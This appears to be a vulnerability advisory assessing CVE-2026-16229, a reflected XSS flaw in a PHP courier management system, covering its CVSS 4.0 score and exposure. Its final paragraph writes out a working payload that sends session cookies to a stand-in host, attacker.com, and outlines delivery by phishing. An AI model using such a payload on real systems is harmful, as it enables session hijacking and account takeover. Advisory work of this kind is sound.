Courier Management System CVE-2026-16229

The page parameter in /index.php must be reflected into the HTML response without sanitization - based on the description and CWE-79 classification, this appears to be default application behavior, not a non-default configuration. No authentication is required on the attacker side (PR:N per CVSS 4.0 vector). User interaction is required: a victim with an active session must be social-engineered into clicking a crafted URL (UI:P per CVSS 4.0). Exploitation is bounded by the victim's browser session - impact is limited to client-side script execution within the application's origin, meaning the attacker cannot directly compromise the server. Deployments not accessible from untrusted networks and applications not handling authenticated user sessions would have significantly reduced practical exposure.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P) scores 5.3 - moderate - reflecting low attack complexity and no required privileges, offset by mandatory user interaction and limited direct server-side impact. The E:P exploitability metric confirms a public PoC exists, which meaningfully raises practical risk versus a theoretical vulnerability. No EPSS score was provided in the input data; exploitation likelihood cannot be quantified beyond the PoC signal. The product is a niche educational/hobbyist PHP application with a small production footprint, which limits population-level blast radius. No CISA KEV listing indicates no confirmed mass exploitation. For deployments serving real courier customers - where session data or package details are exposed - the risk is more meaningful than the raw score implies, as XSS enables session hijacking and credential theft against authenticated users.

A publicly available proof-of-concept exploit is referenced at the GitHub issue linked in the CVE references. An unauthenticated remote attacker constructs a URL targeting /index.php with a JavaScript payload embedded in the page parameter - for example, appending ?page=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> - then delivers this URL to a logged-in courier system user via phishing email or messaging. When the victim visits the link, their browser executes the payload, transmitting session cookies to the attacker and enabling account takeover.